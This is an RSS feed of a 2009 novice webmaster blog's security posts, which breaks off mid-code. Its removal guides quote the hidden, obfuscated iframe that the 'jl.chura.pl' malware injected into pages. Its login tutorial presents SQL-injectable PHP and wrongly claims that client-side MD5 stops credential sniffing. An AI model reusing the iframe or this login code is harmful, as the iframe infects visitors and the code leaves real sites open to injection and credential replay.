<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Webmaster Sucks &#187; Security</title>
	<atom:link href="http://www.webmastersucks.com/cats/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.webmastersucks.com</link>
	<description>Here I share stuff I used to suck at as a novice webmaster..</description>
	<lastBuildDate>Mon, 13 Jun 2011 06:39:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Turn Off Autocomplete Form in Internet Explorer</title>
		<link>http://www.webmastersucks.com/turn-off-autocomplete-form-in-internet-explorer/</link>
		<comments>http://www.webmastersucks.com/turn-off-autocomplete-form-in-internet-explorer/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 09:01:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Html & Javascript]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[autocomplete]]></category>
		<category><![CDATA[autocomplete form]]></category>
		<category><![CDATA[autocomplete internet explorer]]></category>
		<category><![CDATA[close autocomplete]]></category>
		<category><![CDATA[internet explorer]]></category>
		<category><![CDATA[turn off auto complete]]></category>
		<category><![CDATA[turn off autocomplete]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=265</guid>
		<description><![CDATA[
			
				
			
		
A webmastersucks user ask me &#8220;The only problem is that IE will store the MD5 ] password when it &#8220;saves&#8221; the password. Have you been able to overcome that?&#8221;. Solution is really simple, just we can use autocomplete attribute in form tag. It will be close autocomplete in form. It will better in password protected [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fturn-off-autocomplete-form-in-internet-explorer%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fturn-off-autocomplete-form-in-internet-explorer%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>A webmastersucks user ask me &#8220;The only problem is that IE will store the MD5 ] password when it &#8220;saves&#8221; the password. Have you been able to overcome that?&#8221;. Solution is really simple, just we can use autocomplete attribute in form tag. It will be close autocomplete in form. It will better in password protected sites.</p>
<pre class="brush: xml; title: ;">&lt;form name=&quot;form&quot; method=&quot;post&quot; autocomplete=&quot;off&quot;&gt;....&lt;/form&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/turn-off-autocomplete-form-in-internet-explorer/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Free Online Virus Scanner</title>
		<link>http://www.webmastersucks.com/free-online-virus-scanner/</link>
		<comments>http://www.webmastersucks.com/free-online-virus-scanner/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 08:28:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bit defender scan]]></category>
		<category><![CDATA[ca security advisor virus info scan]]></category>
		<category><![CDATA[ewido online scan]]></category>
		<category><![CDATA[free online virus scan]]></category>
		<category><![CDATA[free online virus scanner]]></category>
		<category><![CDATA[free online virus scanners]]></category>
		<category><![CDATA[free virus scan]]></category>
		<category><![CDATA[jl.chura.pl]]></category>
		<category><![CDATA[jl.chura.pl remove]]></category>
		<category><![CDATA[jl.chura.pl virus]]></category>
		<category><![CDATA[kaspersky virus scanner]]></category>
		<category><![CDATA[mcafee scan]]></category>
		<category><![CDATA[one care live]]></category>
		<category><![CDATA[online virus scan]]></category>
		<category><![CDATA[online virus scanners]]></category>
		<category><![CDATA[panda security active scan]]></category>
		<category><![CDATA[symantec security]]></category>
		<category><![CDATA[virus scan]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=220</guid>
		<description><![CDATA[
			
				
			
		
I told i have got problems with &#8220;jl.chura.pl virus&#8220;. When i search about solving my virus problem, i found lots of online virus scanners on net. I want to share with you this web sites. No program or download need for this virus scanners.
My blog posts about jl.chura.pl virus;

Iframe Virus jl.chura.pl Removal
Iframe Virus jl.chura.pl Removal [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Ffree-online-virus-scanner%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Ffree-online-virus-scanner%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I told i have got problems with &#8220;<a href="http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal-todo-list/" target="_blank">jl.chura.pl virus</a>&#8220;. When i search about solving my virus problem, i found lots of online virus scanners on net. I want to share with you this web sites. No program or download need for this virus scanners.</p>
<p><strong>My blog posts about jl.chura.pl virus;</strong></p>
<ul>
<li><a href="http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/" target="_blank">Iframe Virus jl.chura.pl Removal</a></li>
<li><a href="http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal-todo-list/" target="_blank">Iframe Virus jl.chura.pl Removal Todo List</a></li>
</ul>
<p><strong>Here is the full list of free online virus scanners:</strong></p>
<ol>
<li><a href="http://www.kaspersky.com/virusscanner" target="_blank">Kaspersky Virus Scanner </a></li>
<li><a href="http://security.symantec.com " target="_blank">Symantec Security</a></li>
<li><a href="http://us.mcafee.com/root/mfs/scan.asp?affid=56" target="_blank">Mcafee Scan</a></li>
<li><a href="http://www.bitdefender.com/scan8 " target="_blank">Bit Defender Scan</a></li>
<li><a href="http://onecare.live.com/site/en-us/default.htm" target="_blank">One Care Live</a></li>
<li><a href="http://ca.com/securityadvisor/virusinfo/scan.aspx " target="_blank">Ca Security Advisor Virus Info Scan</a></li>
<li><a href="http://www.ewido.net/en/onlinescan" target="_blank">Ewido Online Scan</a></li>
<li><a href="http://www.pandasecurity.com/homeusers/solutions/activescan" target="_blank">Panda Security Active Scan</a></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/free-online-virus-scanner/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Iframe Virus jl.chura.pl Removal Todo List</title>
		<link>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal-todo-list/</link>
		<comments>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal-todo-list/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 19:39:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[avast]]></category>
		<category><![CDATA[avast free]]></category>
		<category><![CDATA[avast free download]]></category>
		<category><![CDATA[avast free edition]]></category>
		<category><![CDATA[avast home edition]]></category>
		<category><![CDATA[changing index file and adding iframe]]></category>
		<category><![CDATA[chura]]></category>
		<category><![CDATA[chura virus]]></category>
		<category><![CDATA[chura.pl virus]]></category>
		<category><![CDATA[clean iframe virus]]></category>
		<category><![CDATA[cuteftp]]></category>
		<category><![CDATA[download avast]]></category>
		<category><![CDATA[download avast free]]></category>
		<category><![CDATA[download avast free edition]]></category>
		<category><![CDATA[dreamweaver]]></category>
		<category><![CDATA[free avast]]></category>
		<category><![CDATA[google badware]]></category>
		<category><![CDATA[google blocks]]></category>
		<category><![CDATA[hey google i no longer have badware]]></category>
		<category><![CDATA[how to clean virus jl.chura.pl rc]]></category>
		<category><![CDATA[how to remove chura]]></category>
		<category><![CDATA[how to remove iframe virus]]></category>
		<category><![CDATA[how to remove jl.chura]]></category>
		<category><![CDATA[how to remove jl.chura virus]]></category>
		<category><![CDATA[how to remove the jl.chura.pl]]></category>
		<category><![CDATA[html frame virus]]></category>
		<category><![CDATA[html iframe virus]]></category>
		<category><![CDATA[iframe exploit]]></category>
		<category><![CDATA[iframe virus]]></category>
		<category><![CDATA[iframe virus cleaner]]></category>
		<category><![CDATA[iframe virus fix]]></category>
		<category><![CDATA[iframe virus removal]]></category>
		<category><![CDATA[iframe virus remove]]></category>
		<category><![CDATA[jk.chura.pl]]></category>
		<category><![CDATA[jl.chura]]></category>
		<category><![CDATA[jl.chura.pl]]></category>
		<category><![CDATA[jl.chura.pl how to remove]]></category>
		<category><![CDATA[jl.chura.pl rc removal]]></category>
		<category><![CDATA[jl.chura.pl removal]]></category>
		<category><![CDATA[jl.chura.pl remove]]></category>
		<category><![CDATA[jl.chura.pl virus]]></category>
		<category><![CDATA[jl.chura.pl virus remove]]></category>
		<category><![CDATA[remove chura files manually]]></category>
		<category><![CDATA[remove iframe virus]]></category>
		<category><![CDATA[removing jl.chura.pl]]></category>
		<category><![CDATA[trojan iframe]]></category>
		<category><![CDATA[trojan iframe index file write data]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virus exploit iframe]]></category>
		<category><![CDATA[virus html iframe]]></category>
		<category><![CDATA[virus in php frame]]></category>
		<category><![CDATA[virus remove todo list]]></category>
		<category><![CDATA[website iframe virus]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=210</guid>
		<description><![CDATA[
			
				
			
		
I wrote a post about &#8220;Iframe Virus jl.chura.pl Removal&#8220;. Everyday, lots of users come to that post. I want write more about jl.chura.pl virus. I write a todo list.
jl.chura.pl Virus Remove todo list:

Change all FTP passwords which is saved in your FTP program (ex. CuteFtp)
Close your web sites if they are virused.
Remove this code: &#8220;&#60;iframe [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal-todo-list%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal-todo-list%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I wrote a post about &#8220;<a href="http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/" target="_blank">Iframe Virus jl.chura.pl Removal</a>&#8220;. Everyday, lots of users come to that post. I want write more about jl.chura.pl virus. I write a todo list.</p>
<p>jl.chura.pl Virus Remove todo list:</p>
<ol>
<li>Change all FTP passwords which is saved in your FTP program (ex. CuteFtp)</li>
<li>Close your web sites if they are virused.</li>
<li>Remove this code: &#8220;&lt;iframe src=&#8221;http://jL.ch&amp;#117;ra.pl/rc/&#8221; style=&#8221;display:none&#8221;&gt;&lt;/iframe&gt;&#8221; with using Dreamweaver or any program which is access all pages in a directory.</li>
<li>Dont forget this virus add this all pages (.php, .html, .asp) which have got &lt;/body&gt; tag, virus add before this tag. Virus can add code to javascripts too.</li>
<li>Download &#8220;<a href="http://download.cnet.com/3001-20_4-10019223.html?spi=4dbf5a7a962839f84995d1ff0cbbd71c" target="_blank">Avast Home Edition</a>&#8220;, free and infected this virus.</li>
<li>Setup Avast Home Edition</li>
<li>Restart your PC and open in safe mode</li>
<li>Scan all of your computer.</li>
<li>Upload clean pages to your web site</li>
<li>Reopen your web site</li>
<li>If google says your web site is have badwares, read;
<ol>
<li><a href="http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html" target="_blank">My site?s been hacked ? now what?</a>?</li>
<li><a href="http://googlewebmastercentral.blogspot.com/2008/08/hey-google-i-no-longer-have-badware.html" target="_blank">Hey Google, I no longer have badware</a></li>
</ol>
</li>
</ol>
<p>PS: I am not guarenteed virus removal, this is my todo list. I did and now it is all cleaned.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal-todo-list/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Iframe Virus jl.chura.pl Removal</title>
		<link>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/</link>
		<comments>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 23:18:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Html & Javascript]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[avast]]></category>
		<category><![CDATA[chura]]></category>
		<category><![CDATA[chura.pl virus]]></category>
		<category><![CDATA[clean iframe virus]]></category>
		<category><![CDATA[download avast]]></category>
		<category><![CDATA[download avast free]]></category>
		<category><![CDATA[download avast free edition]]></category>
		<category><![CDATA[free avast]]></category>
		<category><![CDATA[google badware]]></category>
		<category><![CDATA[google blocks]]></category>
		<category><![CDATA[how to clean virus jl.chura.pl rc]]></category>
		<category><![CDATA[how to remove iframe virus]]></category>
		<category><![CDATA[how to remove the jl.chura.pl]]></category>
		<category><![CDATA[html iframe virus]]></category>
		<category><![CDATA[iframe exploit]]></category>
		<category><![CDATA[iframe virus]]></category>
		<category><![CDATA[iframe virus fix]]></category>
		<category><![CDATA[iframe virus removal]]></category>
		<category><![CDATA[jk.chura.pl]]></category>
		<category><![CDATA[jl.chura.pl how to remove]]></category>
		<category><![CDATA[jl.chura.pl remove]]></category>
		<category><![CDATA[jl.chura.pl virus]]></category>
		<category><![CDATA[remove iframe virus]]></category>
		<category><![CDATA[removing jl.chura.pl]]></category>
		<category><![CDATA[trojan iframe]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virus exploit iframe]]></category>
		<category><![CDATA[virus html iframe]]></category>
		<category><![CDATA[website iframe virus]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=201</guid>
		<description><![CDATA[
			
				
			
		
Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe virus in my site. I search this virus, it is changing index and default files. Add code like here..</p>
<pre class="brush: xml; title: ;">
&lt;iframe src=&quot;http://jL.ch&amp;#117;ra.pl/rc/&quot; style=&quot;d&amp;#105;splay:none&quot;&gt;&lt;/iframe&gt;
</pre>
<h2><span style="color: #ff0000;">UPDATED (5th June 2009): </span></h2>
<p><span style="color: #ff0000;"><span style="color: #000000;">After a while, virus come back. I used Avast Free Version, that is find all viruses and removed. But it is damaged infected files. All infected .html and .php files are deleted. <a title="Download Avast" href="http://download.cnet.com/3001-20_4-10019223.html?spi=4dbf5a7a962839f84995d1ff0cbbd71c" target="_blank">Download Avast Home Edition &gt;</a></span></span></p>
<p>This virus also affected your google results. Google can block your site because of badware. You have to read &#8220;<a href="http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html" target="_blank">My site&#8217;s been hacked &#8211; now what?</a>&#8221; and after remove your virus you have to read &#8220;<a href="http://googlewebmastercentral.blogspot.com/2008/08/hey-google-i-no-longer-have-badware.html" target="_blank">Hey Google, I no longer have badware</a>&#8220;.</p>
<p><strong>PS:</strong> I am not guarenteed virus removal, these are only what i do.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>htaccess Tips, Tricks and Guide</title>
		<link>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/</link>
		<comments>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 16:43:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[default directory htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htaccess guide]]></category>
		<category><![CDATA[htaccess tips]]></category>
		<category><![CDATA[htaccess tricks]]></category>
		<category><![CDATA[redirecting subdirectories]]></category>
		<category><![CDATA[security htaccess]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=187</guid>
		<description><![CDATA[
			
				
			
		
I like .htaccess file, when i need anything that file help me. I collect htaccess tips, tricks and guide list from PerishablePress. I hope you&#8217;ll be enjoy.

Stupid htaccess Tricks
Better Default Directory Views with HTAccess
WordPress Feedburner HTAccess Redirect for Default (Non-Permalink) Feed URLs
Redirecting Subdirectories to the Root Directory via HTAccess
Redirect All Requests for a Nonexistent File [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhtaccess-tips-tricks-and-guide%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhtaccess-tips-tricks-and-guide%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I like .htaccess file, when i need anything that file help me. I collect htaccess tips, tricks and guide list from <a href="http://perishablepress.com" target="_blank">PerishablePress</a>. I hope you&#8217;ll be enjoy.</p>
<ul>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/">Stupid htaccess Tricks</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/11/02/better-default-directory-views-with-htaccess/">Better Default Directory Views with HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/10/13/wordpress-feedburner-htaccess-redirect-default-feeds/">WordPress Feedburner HTAccess Redirect for Default (Non-Permalink) Feed URLs</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/10/06/redirect-subdirectory-to-root-via-htaccess/">Redirecting Subdirectories to the Root Directory via HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/08/12/redirect-all-requests-for-a-nonexistent-file-to-the-actual-file/">Redirect All Requests for a Nonexistent File to the Actual File</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/06/17/perishable-press-htaccess-spring-cleaning-part-2/">Perishable Press HTAccess Spring Cleaning, Part 2</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/05/20/perishable-press-htaccess-spring-cleaning-part-1/">Perishable Press HTAccess Spring Cleaning, Part 1</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/05/20/improve-site-security-by-protecting-htaccess-files/">Improve Site Security by Protecting HTAccess Files</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/12/31/redirect-all-broken-links-from-any-domain-via-htaccess/">Redirect All (Broken) Links from any Domain via HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2009/05/11/htaccess-spring-cleaning/">HTAccess Spring Cleaning 2009</a></li>
</ul>
<p><a href="http://perishablepress.com/press/search/htaccess/" target="_blank">For all search result &gt;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Image Directory Security with htaccess</title>
		<link>http://www.webmastersucks.com/image-directory-security-with-htaccess/</link>
		<comments>http://www.webmastersucks.com/image-directory-security-with-htaccess/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 16:14:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[close cgi]]></category>
		<category><![CDATA[close execution]]></category>
		<category><![CDATA[directory forbidden]]></category>
		<category><![CDATA[forbidden cgi]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[image directory]]></category>
		<category><![CDATA[image directory security]]></category>
		<category><![CDATA[uploaded file security]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=179</guid>
		<description><![CDATA[
			
				
			
		
Some hackers or attackers try to upload script files in image upload files and they can see and change your files with that script. You can block this type file in that directories. You can forbidden type of files and close execution of CGI.
.htaccess


# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fimage-directory-security-with-htaccess%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fimage-directory-security-with-htaccess%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignright size-full wp-image-180" title="Image Directory" src="http://www.webmastersucks.com/uploads/image-directory.jpg" alt="Image Directory" width="80" height="100" />Some hackers or attackers try to upload script files in image upload files and they can see and change your files with that script. You can block this type file in that directories. You can forbidden type of files and close execution of CGI.</p>
<p><strong>.htaccess<br />
</strong></p>
<pre class="brush: plain; title: ;">
# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi .aspx
Options -ExecCGI
</pre>
<p>From: <a href="http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/#sec16">http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/#sec16</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/image-directory-security-with-htaccess/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Deny Directory Listing in .htaccess</title>
		<link>http://www.webmastersucks.com/deny-directory-listing-in-htaccess/</link>
		<comments>http://www.webmastersucks.com/deny-directory-listing-in-htaccess/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 18:25:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[deny directory]]></category>
		<category><![CDATA[directory listing]]></category>
		<category><![CDATA[directoryindex]]></category>
		<category><![CDATA[disable directory]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=108</guid>
		<description><![CDATA[
			
				
			
		
Some webmasters upload a blank index.html for dont index directories. Thats a way of listing directories. But htaccess is more easier solution for this. Just add this code to your .htaccess file
Options -Indexes
Allow directory index, remove the that code or change
Options +Indexes
If you want to list files in directory, but except some of filetypes. Example [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fdeny-directory-listing-in-htaccess%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fdeny-directory-listing-in-htaccess%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Some webmasters upload a blank index.html for dont index directories. Thats a way of listing directories. But htaccess is more easier solution for this. Just add this code to your .htaccess file</p>
<pre class="brush: plain; title: ;">Options -Indexes</pre>
<p>Allow directory index, remove the that code or change</p>
<pre class="brush: plain; title: ;">Options +Indexes</pre>
<p>If you want to list files in directory, but except some of filetypes. Example this code is ignoring zip and rar files.</p>
<pre class="brush: plain; title: ;">IndexIgnore *.zip *.rar</pre>
<p> <span>You can disable directory indexing with indexignore too</span></p>
<p><span>
<pre class="brush: plain; title: ;">IndexIgnore *</pre>
<p> <span>Another way is changing the directory index file</span></p>
<p></span><span>
<pre class="brush: plain; title: ;">DirectoryIndex this_my_index_file.html</pre>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/deny-directory-listing-in-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>User Login Form with Javascript Md5</title>
		<link>http://www.webmastersucks.com/user-login-form-with-javascript-md5/</link>
		<comments>http://www.webmastersucks.com/user-login-form-with-javascript-md5/#comments</comments>
		<pubDate>Sun, 31 May 2009 14:48:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[javascript md5]]></category>
		<category><![CDATA[login form]]></category>
		<category><![CDATA[md5]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=20</guid>
		<description><![CDATA[
			
				
			
		
Web servers uses Plain-Text form based authentication. If an attacker with access to the network traffic to and from the target host may be able to obtain login credentials for other users by sniffing the network traffic. Solutions is data sent via HTML login forms is encrypted before being sent from the client to the [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fuser-login-form-with-javascript-md5%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fuser-login-form-with-javascript-md5%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Web servers uses Plain-Text form based authentication. If an attacker with access to the network traffic to and from the target host may be able to obtain login credentials for other users by sniffing the network traffic. Solutions is data sent via HTML login forms is encrypted before being sent from the client to the host. We solve this problem using encoding form with md5. But there is no standart md5() function in javascript, we find javascript md5 function with a little search (<a href="http://www.miekenet.de/publikationen/publi01.html">Md5 mit Javascript</a>). We create a hidden form to our secure login. When we submit the forum our code change our &#8220;user&#8221; and &#8220;password&#8221; to md5 and send with hidden form encoded values.</p>
<p><strong>Our Login Code (login.html)</strong></p>
<pre class="brush: xml; title: ;">
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Login Form&lt;/title&gt;
&lt;script language=&quot;javascript&quot; src=&quot;md5.js&quot;&gt;&lt;/script&gt;
&lt;script language=&quot;javascript&quot;&gt;
&lt;!--
function passResponse() {
document.hform.user.value = MD5(document.login.user_temp.value);
document.hform.pass.value = MD5(document.login.pass_temp.value);
document.login.pass_temp.value = &quot;&quot;;
document.hform.submit();

}
// --&gt;
&lt;/script&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;form name=&quot;login&quot;&gt;
Username:
&lt;input type=&quot;text&quot; name=&quot;user_temp&quot; size=32 maxlength=32&gt;&lt;br&gt;
Password:
&lt;input type=&quot;password&quot; name=&quot;pass_temp&quot; size=32 maxlength=32&gt;&lt;br&gt;
&lt;input onClick=&quot;passResponse(); return false;&quot; type=&quot;submit&quot; name=&quot;submitbtn&quot; value=&quot;Login now&quot;&gt;
&lt;/form&gt;
&lt;form action=&quot;login.php&quot; METHOD=&quot;POST&quot; name=&quot;hform&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;pass&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>login.php </p>
<pre class="brush: php; title: ;">
&lt;?
$user = $_POST[&quot;user&quot;];
$pass = $_POST[&quot;pass&quot;];
mysql_query(&quot;SELECT * FROM users WHERE MD5(username) = '$user' AND password = '$pass'&quot;);
//... Code is continue ...
?&gt;
</pre>
<p><strong>md5.js file</strong></p>
<pre class="brush: jscript; title: ;">
/*
 *  md5.js 1.0b 27/06/96
 *
 * Javascript implementation of the RSA Data Security, Inc. MD5
 * Message-Digest Algorithm.
 *
 * Copyright (c) 1996 Henri Torgemane. All Rights Reserved.
 *
 * Permission to use, copy, modify, and distribute this software
 * and its documentation for any purposes and without
 * fee is hereby granted provided that this copyright notice
 * appears in all copies.
 *
 * Of course, this soft is provided &quot;as is&quot; without express or implied
 * warranty of any kind.
 *
 *
 * Modified with german comments and some information about collisions.
 * (Ralf Mieke, ralf@miekenet.de, http://mieke.home.pages.de)
 */

function array(n) {
  for(i=0;i&lt;n;i++) this[i]=0;
  this.length=n;
}

/* Einige grundlegenden Funktionen müssen wegen
 * Javascript Fehlern umgeschrieben werden.
 * Man versuche z.B. 0xffffffff &gt;&gt; 4 zu berechnen..
 * Die nun verwendeten Funktionen sind zwar langsamer als die Originale,
 * aber sie funktionieren.
 */

function integer(n) { return n%(0xffffffff+1); }

function shr(a,b) {
  a=integer(a);
  b=integer(b);
  if (a-0x80000000&gt;=0) {
    a=a%0x80000000;
    a&gt;&gt;=b;
    a+=0x40000000&gt;&gt;(b-1);
  } else
    a&gt;&gt;=b;
  return a;
}

function shl1(a) {
  a=a%0x80000000;
  if (a&amp;0x40000000==0x40000000)
  {
    a-=0x40000000;
    a*=2;
    a+=0x80000000;
  } else
    a*=2;
  return a;
}

function shl(a,b) {
  a=integer(a);
  b=integer(b);
